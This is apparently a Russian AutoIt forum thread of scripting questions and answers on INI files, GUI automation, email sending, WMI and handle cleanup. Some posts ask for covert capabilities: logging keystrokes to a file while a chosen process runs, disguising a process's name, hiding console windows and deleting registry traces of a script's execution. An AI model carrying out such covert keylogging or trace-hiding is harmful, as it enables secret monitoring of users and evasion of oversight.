Получилось,наконец без текстового файла : Пришлось сначала весь скрипт кодировать в UTF-8 with BOM Затем ввести в него строки алфавита : $line1 = 'àáâãäåæçèéêëìíîïðñòóôõö÷øùüûýþÿ' $line2 = 'абвгдежзийклмнопрстуфхцчшщьыэюя' Кстати получил и Íåòðóäîâûå äîõîäû - это Нетрудовые доходы При кодировке скрипта в UTF-8 полчилась абракадабра ЍеЂЀЂдобЋе РґРѕР…РѕРґР‹ Спасибо за консультацию |
|
Вложений: 1
Цитата:
Вот здесь : |
Цитата:
Вот немного переделал (можно сказать привёл в читабельный вид :) ): Код:
$sString = 'Iao?oaiaua aioiau' |
Цитата:
А я как-то не не вспомнил про StringIsUpper и изобретал велосипед , кстати там у меня-баг надо передвинуть это только на изменяемый (русский) текст , а здесь - вполне на месте. Классно ! |
Помогите люди добрые.
Написал скрипт вот такой: Код:
Global $relise = IniRead("ftp://sait.ru/relisprog/relisprog.ini", "realmlist", "relise", "0") Как это исправить? |
morgan1991
Ты что, хочешь прочитать файл расположенный на сайте? Сначала скачай его функцией InetGet(), а затем уже читай :) |
Пытаюсь удалить файл:
Код:
FileDelete(@WindowsDir & "\mui\FALLBACK\0419\shell32.dll.mui") У кого нить есть код снятия этой блокировки?! |
Цитата:
Можно также попробовать снять атрибуты с этого файла: Код:
FileSetAttrib(@WindowsDir & "\mui\FALLBACK\0419\shell32.dll.mui", "-SRH") |
Никто не знает почему не работают Autoit скрипты (exe) на T-13?
|
prokazzza, Скорее всего не некоторых хватает системных файлов которые используются в Autoit (это мое мнение)
|
Не знаю на сколько будет полезно, но вот прототип функции _StringRegExpReplaceCallBack(), на идею натолкнул запрос в баг-трекере офф. форума:
Код:
$sString = "This is a Test, a _StringRegExpReplaceCallBack test" |
Функция
Send ( "!{F2}") Выполняется не всегда, как заставить её выполнятся 100%?? |
Цитата:
|
Вообще у меня используются подряд 2 функции нажатие АЛТ+Ф1 и АЛТ+Ф2, в итоге в какой то момент происходит нажатие АЛТ+Ф1 потом Ф2 или наоборот Ф1 и АЛТ+Ф2...редко выскакивают Ф2 и Ф1...хотелось бы понять от чего это происходит...и как от этого избавится...
|
Цитата:
|
Многоуважаемые знатоки! Внимание вопрос от ламера.
Я пишу скрипт для автоматизации процесса вставки\копирования на конкретно взятой страничке сети (online). Скрипт готов и работает но "пробегает" он по текстовым полям при помощи нажатия {TAB}. Мне бы очень хотелось сделать вставку текста в текстовое поле непосредственно указывая элемент control, но AutoIt Window Info не говорит ни его ID и даже не указывает его текст по умолчанию (хотя он есть). Причем Class элемента control совпадает с классом самого окна браузера (MozillaUIWindowClass). Что мне делать и как быть? Возможно кто-нибуть подскажет где мне искать ответ на вопрос, т.к. поиском ничего не могу найти по теме вопроса Заранее благодарен. |
Как с помощью скрипта AutoIt заблокировать клавиатуру и мышку, чтоб пользователь во время выполнения скрипта не мог случайно нажать клавишу, переместить мышку, активировать другое окно.
Вопрос отпал, нашел: BlockInput(1) или (0) - включить/выключить. |
Цитата:
|
Creat0R,
Цитата:
Код:
$sString = "c:\DIR1\file1.txt" &@CRLF |
amel27,
Цитата:
Цитата:
Цитата:
Если не трудно, почитай тот запрос, может действительно у тебя получилось сделать то что там предлагается... |
Creat0R, Подскажи где взять описание на русском для библиотеки IE.au3
Если перевод существует конечно. |
Creat0R
Цитата:
Цитата:
Код:
$sString = "c:\DIR1\DIR1\file1.txt" &@CRLF |
Всем привет! Я недавно начал пользоваться этой программой и уже столкнулся с проблемой. У меня никак не получается перезаписать ini файл. Задача состоит в том, что нужно скопировать ячейку в .xls файле и записать эту информацию в определенный ключ в ini файле. И сделать это еще раз.
Проблему в этой строчке "IniWrite("C:\Work\Test.ini", "DB", "sn", Send ('+{INS}'))", а именно в комманде записи ключа из буфера обмена, я не могу решить сам. Была идея заносить что скопировано в переменную, а потом её выводить в файл, но и это у меня не получилось. Прошу вашего совета. Код:
WinActivate ("Microsoft Excel - филиалы.xls") |
6757439, потому что Вы не совсем корректно используете функцию IniWrite, в месте, где у Вас "Send ('+{INS}')" нужно постить текст..
чтобы вставить содержимое буфера обмена, нужно использовать такую связку: $a = ClipGet() ; Содержимое буфера обмена присваивается переменной $a IniWrite("C:\Work\Test.ini", "DB", "sn", $a) ; Здесь при записи вместо какого-либо текста используется содержимое буфера обмена |
Все получилось благодаря подсказке Рысь. Появилась еще одна проблема:
При запуске программы (через AutoIt3), которая использует вышеописанный ini файл, выводится сообщение об ошибке "не удалось прочитать данные из .ini файла". Хотя если запускаю через эксплорер - все отлично открывается. В чем может быть загвоздка? Для запуска использую следующую строку: Код:
Run("C:\Work\assistant.exe") |
6757439
Цитата:
Код:
Run("C:\Work\assistant.exe", "C:\Work") |
Цитата:
|
Всем доброго времени суток!
Прошу помочь мне написать следующий простенький код... В общем есть у меня некое изображение на экране. Мне необходимо отследить, меняется ли цвет определенного пиксела... В общем смотрите: Func GetBuf() $time = 0 $err = 0 While $time <= 5000 $p = PixelGetColor (1162,434) If $p = 0xEBEC76 $time= $time+500 Sleep (500) Else $err = $err + 1 $time= $time+300 Sleep (300) EndIf WEnd EndFunc Суть следующая: сначала задаю значение переменных $time и $err равными нулю. Затем вхожу в цикл, в начале которого проверяю значение $time, чтобы цикл не уходил в бесконечность. Затем определяю цвет пикселя в определенном месте окна (PixelGetColor). Если цвет меня устраивает (If $p = 0xEBEC76) - увеличиваю значение переменной $time, делаю паузу на полсекунды (Sleep (500)) и опять вхожу в цикл. Если цвет меня НЕ устраивает - увеличиваю значение переменной $err, делаю паузу (Sleep (300)) и снова вхожу в цикл, пока буду удовлетворять условиям $time <= 5000. После выполнения функции меня интересует значение параметра $err. В случае, если оно >0, то все в порядке, и процедуру нужно повторить, скажем, через 5 минут. Но если это значение равно 0, то необходимо вывести какое-нибудь диалоговое окно, пикнуть встроенным динамиком компа и завершить процедуру. Помогите, плиз, написать единый код, так как у меня проблемы с передачей параметров( |
Frost_Imp
Возвращай из функции значение и на основе этого значения переходи к тому или иному действию, что-то вроде этого: Код:
;Здесь у нас GUI Цитата:
Frost_Imp Вариант без GUI: Код:
While 1 |
Maza Faka, спасибо! Подошел "Вариант без GUI". Я, правда, не понял, причем тут GUI...
Еще просьба: можно ли усовершенствовать эту процедуру таким образом, чтобы при ее запуске юзеру показывалось бы диалоговое окно, в которое он сам смог бы вносить различные парамеры? Ткните носом плиз, где это можно почитать либо опишите простой пример. Буду очень благодарен! |
Цитата:
|
Народ помогите пожалуйста горю начинающего "автоитера".
Часто приходится переставлять приложение, которое настраивается несколько неудобным способом... Еще и само приложение сырое, но заставляют его использовать, так как других нету для этих целей. В общем передо мной такая дилемма: Надо найти иконку в трее, ткнуть по ней правой кнопкой мыши, в контектном меню выбрать пункт, открывается подменю, в нем выбираем значение левой кнопкой мыши... Затем еще раз по иконке в трее, и в основном контекстном меню выбрать другой пункт и нажать левой кнопкой... (Названия пунктов меню известно... :) ) Естественно точное расположение этой самой иконки в трее не известно... Само приложение нормально запускается и работает, но работает в фоне (GUI у него только для настройки и вызывается этой самой правой кнопкой по иконке). Все его настройки происходят через трей. |
Creat0R
Valik'а вроде устроил последний вариант, дописал UDF и создал тему на оффсайте ты бы прав насчет разработчиков - теперь они точно не реализуют эту фичу в AutoIT :unsure: |
amel27,
Цитата:
Цитата:
По поводу имени функции. Имхо, она будет лучше отражать смысл если её назвать хотя бы так: _StringRegExpCallBackReplace() То что вызываема функция это и есть callback-функция это не спорю, но если посмотреть на встроенные функции, такие как GUIRegisterMsg, DllCallbackRegister, то там ведь указывается пользовательская функция, поэтому именно вызывающая функция должна хоть как то отражать её предназначение :) Цитата:
|
Пред всем. У меня возникла проблемка, прошу помочь
Код:
FileOpen (@ScriptDir & "\1.txt", 1) |
Цитата:
Код:
$hFileOpen = FileOpen(@ScriptDir & "\1.txt", 1) |
добрый день..помогите пожалуйста ... есть Label есть Button есть определенная функция ... необходимо значение вводимое в Label после нажатия на батон отправлять в эту функцию (значение есть имя компьютера в сети) тоисть
вот в этой строчке $var = IniReadSection("c:\FILES\PDFTransformer.ini", "USERINFO") вместо c:\FILES должно быть вводимое имя кампа... и как лучше обрабатывать событие онклик |
mikola1983
Цитата:
Пример: Код:
#include <GuiConstantsEx.au3> |
Creat0R
Цитата:
Grammaton Cleric Цитата:
1. найти на экране положение иконки и вызвать контекстное меню; 2. в контекстном меню активизировать нужный пункт. по 1-му пункту есть архивный пример Maza Faka, который ссылается на SysTray_UDF, но мне пришлось подправить четыре UDF в пакете прежде чем скрипт заработал... не уверен, что по ходу не всплывут еще ошибки... ИМХО этот пакет давно пора привести в соответствие с версией AutoIT... Хотя я в ГУИ не особо продвинут, может я чего упустил и это можно сделать штатными средствами?... это вопрос к ГУИ-спецам ;) 2-й пункт проще всего реализовать через Send(), перемещая курсор до нужного пункта и запуская по <Enter>... понятно, что при этом меню должно быть статическим (позиция команды не должна меняться). AFAIK можно сделать это и программно - по имени команды, но "готовых к употреблению" UDF не встречал, хотя материал на оффсайте есть, например: How to select an item from a pop-up right click menu? |
Maza Faka, Спасибо да ошибся )) имел ввиду Input
|
Цитата:
ещё вопрос. Мне нужно, чтоб скрипт следил за наличием указанного процесса и после того как процесс появился нужно открыть файл test.txt например, после чего в него будут записыватся нажатые клавиши. А после закрытия процесса нужно закрывать файл test.txt(и так бесконечно). Я пробую так: Код:
Вобщем после того как процесс появился, то файл открывается и всё записывается в test.txt, а после того как процесс закрывается, то файл test.txt не выгружается (FileClose("test.txt"). |
Grammaton Cleric
Рабочий пример по первому пункту. Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
amel27,
Спасибо за разъяснения, полезная инфа по Callback'у :) У меня тут другая задача появилась, вроде посложнее (и поинтереснее, для меня во всяком случае :) )... Хочу ещё больше усовершенствовать скрипт раскраски кода, чтобы не использовать SciTE вовсе. Я подумал, а что если написать свой парсер кода на раскраску, т.е как я это понимаю, нужно создать шаблоны стилей (в массиве?), и пройтись по ним регулярными выражениями, обрамляя куски кода нужными тегами. Но хотелось услышать твоё мнение, как наиболее продуктивно можно(?) организовать подобный парсер? И, стоит ли вообще этим заморачиваться. |
Creat0R, А что ты будешь делать при изменении версии AutoIt - вернее при добавлении в него новых конструкций. Я так думаю что щас этот геморой лежит на SciTE. А ты похоже хочешь его на себя переложить. Что это даст? Извини если я не въехал?
|
NikLok,
Цитата:
|
Люди помогите. Как зделать так чтобы после нажатия левой клавиши мыши скрипт запускал определённую функцию?
что бы было чтото типо "HotKeySet()" |
Цитата:
Код:
#include <Misc.au3> Код:
#include <MouseSetOnEvent_UDF.au3> |
Creat0R, спс!
|
Creat0R
Цитата:
Цитата:
Цитата:
|
amel27,
Цитата:
Цитата:
Цитата:
|
Почему это неработает?
$var = IniReadSection("\\"&$sCompName&"\C\FILES\PDFTransformer.ini", "USERINFO") получается вполне нормальный путь если отправлять ето в месадж. но инирид невидит файл |
Цитата:
Код:
#include <Array.au3> ;Только для ArrayDisplay() |
Creat0R
Цитата:
про скорость еще рано говорить, про файлы тоже... "независимость" и вовсе штука относительная, особенно в мире программ ;) Цитата:
Как вариант - восстановить список используемых UDF из самого скрипта. Это позволит строить схемы раскраски, используя: - имя UDF (это просто); - имя загружаемого файла, в котором определен UDF (обычно синхронен с именем UDF, хотя и не всегда); - тип загружаемого файла (системный, пользовательский, другой)... имхо самая полезная фича. Примеры UDF, с помощью которых можно это реализовать: Код:
#include <array.au3> |
amel27,
Цитата:
Цитата:
Цитата:
P.S Я запустил этот скрипт под 3.2.8.1, и действительно понял почему разработчики изменили состав стандартных библиотек (убрали из них лишнее), там слишком много всего, только у одного Array.au3 сколько функции... кстати, а эти UDF не ищят больше чем на один уровень? я натравил их на скрипт с GuiConstants.au3, и они выдали список только первого уровня... |
amel27,
Нашёл на оф. сайте по теме: Highlight syntax help.. и AutoIt Editor В первом не предусмотрена раскраска объектов (к примеру $oObject.Name), скобок, и встроенных функции, но это уже начало. А во-втором я просто не могу понять что используется для раскраски, вроде Dll'ка SciLexer.dll, но не уверен. |
как можно проверить версию ос .. проблемма в следующем нужен файл с:\program но на Win64 он лежит в х86 и естественно скрипт его не видит... как можно решить подобный недостаток
|
Creat0R
Цитата:
Цитата:
- насчет Scintilla думаю ты прав, на оффсайте есть примеры использования, но это уже целый редактор получается... mikola1983, смотри макрос @ProcessorArch |
amel27, а как использовать эти макросы на удаленных компьютерах .. есть такая возможность.
|
amel27,
Цитата:
Цитата:
|
Creat0R
Цитата:
Цитата:
mikola1983 Цитата:
Код:
WMIC /Node:"COMP01" CPU Get Architecture ---- 0 - x86 1 - MIPS 2 - Alpha 3 - PowerPC 6 - Itanium 9 - x64 |
amel27,
Цитата:
Цитата:
P.S Немного о другом... Ты случаем не вкурсе, возможно ли запустить файл (приложение) с любым именем процесса? т.е чтобы после запуска имя процесса отличалось от имени самого файла. Ну или поменять имя процесса после запуска. Я на оф. форуме спросил про это, но что-то путного решения так и не поступило (кроме метода ADS, который поддерживается как я понял, только на NTFS). |
Creat0R
Цитата:
|
amel27,
Цитата:
|
Creat0R
Цитата:
З.Ы. AFAIK в операционках с поддержкой виртальной памяти процесс никогда не теряет связь с файлом образа, или другими словами - никогда "полностью" на загружается в оперативную память. Файл образа лишь проецируется на виртуальную память процесса, а уж какая часть этой памяти находится в RAM, а какая на диске знает только ОС. Возможно, если бы оперативная (быстрая) память стоила дешевле внешней (медленной), ОС имели бы совсем другую архитектуру и процессы могли иметь свои виртуальные имена, никак не связанные с файлами образов. тебе не кажется, что мы ушли в сторону от темы? :) |
Привет всем! Скажите плиз ктонить, как с помощью Autoit отправить письмо на мыло с файлом? Только с авторизацией.
Допустим есть смтп сервер mail.hoster.ru есть ящик support@m-sait.ru, логин: support@m-sait.ru и пароль: пароль Помогите чем можете весь инэт перешерстил не могу найти. Заранее спасибо. |
morgan1991
Здесь обсуждалось. |
Помогите хочу получитьработающий этот код
Код:
$BlatArgs = 'letter.txt -t delta2-greit[support@]m-sait.ru -f delta-greit[support@]m-sait.ru -s "спасибо за помощь" -server mail.hoster.ru -u delta-greit -password здесь походу пароль? "Windows-1251" -attach 1.txt' |
вариант для аутглюка:
Код:
_OESetMAPIWarn(0) ; Отключаем предупреждения Outlook Express |
Нее.... Мне нужно отправить письмо с авторизацией на своём домене. Ну на своем мыле типо с логином и паролем. И + в скрытом режиме без дополнительных программ, только чтобы после отправки вылетело сообщение типо письмо отправлено.
|
Цитата:
Цитата:
|
Цитата:
А что значит без пароля нормально? Тоесть можно отправить письмо без пароля? Можно поподробнее? Мне нужно просто отправить письмо с файлом с помощью Autoit. Помогите? |
Народ. Один раз форум уже помог... теперь возникла еще одна проблема...
надо во время работы программы проверить наличие определенного файла на вставленной дискете. Если он есть, тогда дальше делать... У меня вот так: Код:
While FileExists ( 'A:\gk.db3') = 0 |
morgan1991,
Есть функция _InetSmtpMailCom на оф. форуме, там не используется внешнее приложение. Цитата:
Код:
While DriveStatus('A:\') <> 'Ready' Or Not FileExists('A:\gk.db3') |
спс Creat0R, только не могу понять чё это такое?:
Код:
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 |
Подскажите пжлст, что лучше или в каком случае лучше
winwaitactive("Alcohol","Welcome to the Alcohol") vs winwaitactive("[TITLE:Alcohol; Class:#32770]") controlclick("Alcohol", "License Agreement", "I &Agree", "left", 1) vs controlclick("Alcohol", "License Agreement", "[Class:Button; Instance:2]", "left", 1) я так думаю, что буквы хуже из-за кодировок и т.п. однако Title всёравно не напишешь цыфрами, дык тогда уж лучше всё так и вбивать как видно... всёравно приложение всегда конкретное и ситуация всегда предвидима, после многократных тестов проверки... ?? Меня более всего не устраивает сама путаница методов, зачем их так много? И как-то не систематизированно, сколько хелп читаю, всёравно только методом тыка познаётся. |
morgan1991,
Цитата:
semiono, Цитата:
Цитата:
Цитата:
|
Путаница я имел ввиду в том, что если
winwaitactive("[TITLE:Alcohol; Class:#32770]") достаточно лишь [Title + Class] юзать, то в controlclick нужен титл разделённый обычным текстом и потом уже класс... то есть я хотел сначала перейти на полное использование только классов, но ведь так нельзя: controlclick("[TITLE:Alcohol; Class:#32770]", "????", "[Class:Button; Instance:2]", "left", 1) Вот получается в каждом случае разный стиль записей, что не удобно... Если делать не для себя, то возможные проблеммы когда откроется какоенибудь посторонее окно и Enter улетит в него, однако тут как по тексту, так и по классам всегда можно ошибиться, так как они повторяются в разных приложениях... ? |
semiono,
Цитата:
Цитата:
|
Creat0R
Цитата:
Код:
While 1 Цитата:
|
Цитата:
|
Цитата:
Код:
While 1 далее (с учетом изменений): - если вставлен диск, то DriveStatus() дает "зеленый", иначе - "красный"; - FileExists() может изменить цвет на "красный", но только с "зеленого" (иначе будет ошибка); - если после всех проверок "зеленый", то скрипт выходит из цикла и продолжает работу; - если "красный", то попадаем на предупреждение и далее либо выход из скрипта, либо по циклу до "зеленого" |
amel27,
Цитата:
Иногда это помагает, а иногда как раз наоборот. Цитата:
Цитата:
Код:
While 1 |
>Пожалуйста помогите с кодом?
>Надо проверить установлен ли SPTD драйвер и если нет перезагрузить Windows XP. >Я думаю проверку драйвера можно осуществить проверкой существования файла: >"%SystemRoot%\system32\drivers\sptd.sys" >Или есть лучше вариант? (SPTD - это драйвер с которым обычно работает Alcohol) >Перезагрузку можно выполнить так Run($WinDir"\system32\shutdown.exe", "-f -r -t 00") если я не ошибаюсь? >Помогите целым куском кода, чтоб сразу вставить в скрипт? Иначе я запутаюсь в IF - логических консрукциях :\ >Ещё возможна трабла, так как я всётаки хочу это установить во время инсталяции windows на t13, может быть тут какие-то ещё есть сложности? Я >вообще-то не уверен перезагрузится ли windows в этой ситуации. >Но полюбому, хотя бы так нужен скрипт, хотябы обычно юзать. Ай-ай, я уже сам написал, примерчек: Код:
If FileExists("C:\autoexec.bat") Then Или просто тупо вставить весь код программы между: Then ... Else? Вроде это не по-програмиссткски! :) |
Цитата:
|
amel27, Creat0R ну в общем-то эти варианты работают... Спасибо за помощь а так как частенько приходится эти файлы на дискетах проверять, наваял себе небольшую функцию...
Код:
;_Fileona ('param1', 'param2', 'param3') ------- И еще вопрос к amel27 и Creat0R объясните пожалуйста чем "ContinueLoop" отличается от его отстутствия? |
Creat0R
Цитата:
Цитата:
Цитата:
semiono Цитата:
Grammaton Cleric Цитата:
|
Цитата:
Теперь еще одна непонятка... Цитата:
|
Цитата:
любое число <>0 обрабатывается при проверке как TRUE, 0 соотвественно FALSE, так что эти варианты эквивалентны |
amel27,
Цитата:
И тут мне немного не понятно, что значит он сам решает, тогда получается можно условия написать как угодно? на практике однако это не так... Код:
;Пример 1 Цитата:
Цитата:
Цитата:
|
Creat0R
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
|
amel27,
Цитата:
У меня тут на другую тему есть вопрос: Обязательно ли освобождать разного рода хендлы (типа Callback, FileOpen и т.п.) при выходе из скрипта (OnAutoItExit)? В справке у FileClose() сказано: Цитата:
|
Цитата:
ADD: ИМХО вопрос упирается в поддерживаемые типы данных, примерно так: если для к-либо описателя есть ф-ция типа Is*(), где * - тип описателя, то AutoIT должен уметь сам корректно закрывать такие переменные-описатели... Но если, к примеру, обычная переменная содержит несвойственный ей тип (целое число -> указатель на стуктуру, полученный через API), то тут понятно ответственность полностью на авторе скрипта |
:cool: :jester: :lol: :sorry: :( :o :) :tongue: :help: :lazy: :oszone: :search: :clapping: :beta: :closed-to :read: :yahoo: :drug: :drug: :dont-know :happy: :kiss: :lazy: :help:
|
amel27,
Цитата:
|
Creat0R
В бета версии этот баг исправлен |
Maza Faka,
Цитата:
|
Creat0R
Цитата:
Цитата:
Цитата:
|
Цитата:
Код:
If IsDeclared("ProcHandle") Then |
Цитата:
Другое дело, если логика скрипта включает много ветвлений типа IF/ELSE, то код закрытия описателей придется дублировать не один раз - для каждого благоприятного исхода их открытия, а это раздувает текст скрипта повторяющимися строчками - прямо как с примером про дискету :) ...Вот и приходится вводить вспомогательные "флаги", которые проверяются уже при выходе из UDF или скрипта. Проверка IsDeclared() имхо тоже не решение, так как все переменные обычно определяют еще в заголовке скрипта/UDF. Как уже было озвучено выше - эта проблема актуальна прежде всего для API, а интеллектом AutoIT по чистке "своего" мусора ИМХО не стоит пренебрегать - особенно если при этом скрипт становится существенно короче и читабельней. ;) |
Maza Faka,
Цитата:
Цитата:
amel27, Цитата:
Кроме прочего, я считаю что скрипт не должен “вылетать” из за передачи неправильного (уже освобожденного) хендла в функцию, функция сама должна уметь распознать хендл и, если он неправильный, возвращать/устанавливать код ошибки. |
Creat0R
amel27 OK! :) |
эммм... такой вопрос - есть ли возможность раскомпилировать exe'шник, написанный на AutoIt'e?
|
Цитата:
|
Maza Faka, спасибо, но exe-шники, к сожалению, оказались версии 3.2.12.1. Придётся обращаться к автору и просить исходники :)
|
Creat0R
Цитата:
|
amel27,
Цитата:
P.S Это только один пример, есть ещё пару (точно где не помню), где дела обстоят ещё хуже. |
При использовании
AutoItSetOption("TrayIconDebug", 1) на ПК все норм работает а на буке нет строки... в чем может быть проблема ? |
Babullika
Какая ОС на ПК и буке? |
на ПК XP Pro sp3 ( Zver CD ) , на буке XP Pro SP3 из MicroXP v0.8 , видимо из образа микро xp убрали какие то необходимые библиотеки или типа того
|
Creat0R
Во-первых, в твоем примере нет динамического создания/удаления описателей - тут речь всего о двух хэндлах, а точнее - об одной группе связанных описателей: (CallBack + Timer), которую можно обозвать одним "составным описателем". Во-вторых, я не вижу проблемы как таковой - определи пару UDF: одна создает описатель, другая - закрывает и пусть пользователь сам решает куда их втыкать. ;) Могу предложить свой вариант системы UDF, причем без создания глобальных данных: _GUICtrlOnHoverCallOpen() - открывает хэндлы, инициализирует и возвращает массив - управляющую структуру, в которой сохраняются хэндлы и рабочие данные, пример заполнения: $aControl [0] [0] - кол-во элементов массива (обрабатываемых контролов) $aControl [0] [1] - описатель CallBack $aControl [0] [2] - описатель Timer $aControl [$i] [0] - ControlID $aControl [$i] [1] - HoverFuncName $aControl [$i] [2] - HoverFuncNameLeave _GUICtrlOnHoverCallClose(ByRef $aControl) - закрывает все описатели и уничтожает управляющий массив ($aControl =0) _GUICtrlOnHoverCallAdd(ByRef $aControl, $CtrlID, $HoverFuncName = "", $HoverFuncNameLeave = "") - регистрирует контрол для обработки _GUICtrlOnHoverCallDelete(ByRef $aControl, $CtrlID) - снимает контрол с обработки Цитата:
ADD: может я ошибаюсь, но имхо для штатного GUI не нужен никакой таймер - достаточно поставить обработчик сообщения WM_MOUSEMOVE ...совсем другое дело обработка контролов чужих окон, но там одного ControlID недостаточно, нужно еще идентифицировать главное окно или процесс... а может просто передавать hWnd контрола?.. впрочем, это уже будет совсем другая функция :) |
amel27,
Цитата:
Например: Код:
#include <GuiConstants.au3> Цитата:
Цитата:
Цитата:
|
Как создать Shortcut c параметром - "Setup.exe" -uninstall? Функция FileCreateShortcut создает в кавычках, а нужен параметр без кавычек. Или только батник писать и на него Shortcut?
|
Добрый день
Дайте совет пожалусто Юзаю такую щтуку FileCopy("C:\Temp2\*.txt", "C:\Temp3\" & Random(-10, 10, 1) & "*.txt", 9) получается что все файлы копируются с одинаковыми префиксами , а как сделать чтобы у каждого файла префикс разный был ? |
Busel
Так? Код:
FileCreateShortcut(@ScriptDir & "\program.exe", @ScriptDir & "\MyProgram.lnk", @ScriptDir, "Setup.exe -uninstall") Babullika, Цитата:
Попробуй так: Код:
$source = "C:\Temp2" |
Creat0R
Цитата:
Цитата:
Цитата:
Цитата:
|
amel27,
Цитата:
Цитата:
Цитата:
|
Скажите пожалуйста можно ли вот это C++ реализовать в Autoit3:
Код:
#include <windows.h> |
Цитата:
Код:
#include <WinAPI.au3> |
спс, только у меня autoit-v3.2.8.1, а внем такое есть?
|
morgan1991,
Цитата:
Но если есть возможность, лучше перейти на последнюю версию аутоита. |
Не нету возможности, а на счёт библиотеки можно поподробнее?
|
Цитата:
Правда при проверке синтаксиса ругается на параметры функции, это видимо только лишь ошибка синтакс чекера, сами функии вроде работают. |
Creat0R
Цитата:
Код:
#include <GuiConstants.au3> Цитата:
|
Creat0R, спс, а случайно не раскажешь как пользоваться командами?
Цитата:
|
Вложений: 1
amel27,
Цитата:
Цитата:
Цитата:
|
morgan1991,
Цитата:
|
Цитата:
Может можно гдето скачать хотябы английский мануал? |
Цитата:
Я говорил про справку в составе с AutoIt'ом (в последней версии). |
Цитата:
|
Цитата:
|
Код:
$InstallPath=@ProgramFilesDir & "\MediaStudio" 1. Если установленна уже была программа, то при повторной установке откроется MsgBox с заголовком "Uninstall blah-blah?" и двумя(ми) кнопкоми Yes, No. Довольно частая ситуация, хотелось бы какой нибудь код предпринять, чтоб напр. Uninstall нажать. Но я не знаю что в If Then... EndIf вписать, подскажите? Я пробовал так Код:
Run("Ulead MediaStudio Pro 8.0.exe") Как кстати указать чтоб все ошибки репортировались? Потому что в данном случае ошибки были, но молча было :) 2. Что меня удивило тут, то что Sleep действительно нужен! Иначе в многих местах не срабатывает и появляются пропуски... Но почему? Приложение большое - 128 мег, может от этого? Или тут какие-то спецэффекты в окнах. Я помню Sleep не использовал раньше вообще, или лучше всегда и везде так подстраховывать? Хотя я думаю лучше "быстрее" установить чем во время Sleep какоенить посторонее окно может выскочить? :) 3. Как правильно очищать поле ввода [C:\Program Fils\MyApp] ? Его бы выделить сначала, для уверенности, но как-то всё коряво получается, того и гляди слетит.... Всё что у меня ума хватило это вбивать Send("{BS 32}") Но зафокусировать поле ввода вообще не знаю как. ? Пожалуста отвечайте кодом, ато я в хелпе потеряюсь совсем... |
semiono, я тоже както маялся над этим вопросом, вот решение, только не факт что оно комуто покажется хорошим, я в Autoit ещё не мастер:
Код:
Global $InstallPath=@ProgramFilesDir & "\MediaStudio" Цитата:
|
А что надо распаковать? AutoIt? unattended.org.ua/unattended_soft/winrar/скачать_uniextract-1600 у меня распаковывает.
AutoIt3.chm v3.2.12.1: slil.ru/26305991 |
Цитата:
|
Цитата:
|
Creat0R, я просто скачал вот эту прогу uniextract и достал help, спасибо за помощ.
|
Эм , если кому не трудно , помогите пожалуйста решить проблему , нужно при каждом подключении к интернету ( через адсл модэм , высокоскоросное подключение ) , записывать в файлик IP адрес
|
@echo 192.168.1.3> file
@echo 192.168.1.2>> file @echo 192.168.1.1>> file батником :) |
Creat0R
Цитата:
Цитата:
Код:
Func OnAutoItExit() Цитата:
Цитата:
|
Babullika,
Цитата:
Код:
$sAdapter = "Realtek RTL8139" |
amel27,
Цитата:
Цитата:
Цитата:
Цитата:
Но полагаю что и там будет вылетать при похожих обстоятельствах, дело не в таймере, а именно в DllCallBackFree. |
Creat0R,
Цитата:
|
amel27,
Цитата:
|
Цитата:
|
Цитата:
Цитата:
|
Цитата:
Код:
For $i=0 To 10 Цитата:
|
Цитата:
Код:
Global $hDLL |
amel27,
Цитата:
Maza Faka, Цитата:
|
Чтоб тему не начинать, позволю себе здесь спросить, как скрыть консоль cmd.exe ?
Код:
HKLM,"Software\Microsoft\Windows\CurrentVersion\Run","MyProg-Setup",0x20000,"cmd.exe /k start /w %SystemRoot%\system32\MyProg.exe & del /f /q %SystemRoot%\system32\MyProg.exe & reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MyProg-Setup /f & Exit" И не уверен работает ли cmdow правильно по этой же причине! Например, cmdow /TH не работает точно, хотя может быть всё остальное... Поэтому приходиться юзать Run, но другие проблеммы связанны с тем, что различные RunConsoleHidden.exe cHwnd.exe вроде бы не поддерживают комманду start /w и многоуровневое выполнение команд? Либо я просто сам не знаю. Может быть батник написать, хотя тут подумать ещё над ним стоит? Есть ещё альтернативный RunOnce.exe где-то я видел, хотя не знаю что он может? Собсно мой пример мне подходит, надо только скрыть cmd.exe! Хотя и другие варианты тоже хотелось бы послушать? И кстати, как это же реализовать через AutoIt? То-есть установку программы и затем удаление всех "следов" от её инсталлера, при этом не используя RunOnce разделы реестра!? :) |
semiono,
Цитата:
Код:
WinSetState("[CLASS:ConsoleWindowClass]", "", @SW_HIDE) Код:
Run(@ComSpec & " /c Start /w MyProg.exe", @SystemDir, @SW_HIDE) Цитата:
Код:
RunWait(@SystemDir & "\MyProg.exe", @SystemDir) |
Возможно ли c помощью Autolt определить код экземпляра устройства оборудования? (пример - PCI\VEN_1106&DEV_3343&SUBSYS_0C84105B&REV_01\4&17F55CA6&0&0008)
|
Народ, может кто сталкивался с проблемой такой...
Необходимо прочитать текст из cmd.exe, точнее с любого консольного окна. Запускаю cmd.exe затем telnet хочу дождаться приглашения другого компа... хочу как-то получить текст из консольного окна вообщем. Может кто подскажет способы ? |
|
Maza Faka, Желательно того на которое драйвера не установлены.
|
По поводу удаления фостов после отработки скрипта есть остатки в :
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache] "C:\\MyProga.exe"="MyProga" Возможно ли удалить этот хвост если скрипт будет запускаться с разных деректорий. |
litus, RegDelete посмотри....
|
Я и использую функцию "RegDelete" вот посмотрите даные реестра скрипт "nvda_L"
[HKEY_USERS\S-1-5-21-507921405-796845957-1417001333-500\Software\Microsoft\Windows\ShellNoRoam\MUICache] "C:\\SintezPark\\nvda\\nvda_L.exe"="nvda_L" код : RegDelete("HKEY_USERS\S-1-5-21-507921405-796845957-1417001333-500\Software\Microsoft\Windows\ShellNoRoam\MUICache", ""nvda_L.exe"="nvda_L"") Хотя даные "nvda_L.exe"="nvda_L" я уже тестировал как токо можно результат равен "неудача" этот премер вовсе выдал ошибку. Тем более что в начале идет "c: что значит если я буду запускать скрипт с флешки то значение не удалиться а написать "F" здесь тоже не будет мнекажеться правельно так как неизвесно какая буква определиться на другой машине. |
Цитата:
Нужно так: Код:
